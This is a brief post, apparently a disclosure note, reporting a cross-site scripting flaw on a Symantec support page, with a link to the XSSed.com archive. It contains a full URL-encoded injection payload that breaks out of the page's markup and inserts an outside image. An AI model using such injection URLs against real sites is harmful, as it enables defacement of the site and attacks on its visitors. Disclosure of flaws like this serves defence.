Symantec has an XSS vulnerability. You can see an archive of it and any status update regarding it being fixed at XSSed.com.
XSS URL provided: https://www-secure.symantec.com/techsupp/jsp/ratethis/nein.jsp?url=http%3A%2F%2Fservice1.symantec.com%2Fsharedtech.nsf%2F0%2Fd59068009e7f27b965257287005fd39d%3FOpenDocument%26%27%3C/li%3E%3C/ul%3E%3C/td%3E%3C/tr%3E%3C/table%3E%3Cimg%20src=%22http://images.encyclopediadramatica.com/images/2/24/Norton_Godfather2.gif%22%3E%3C!--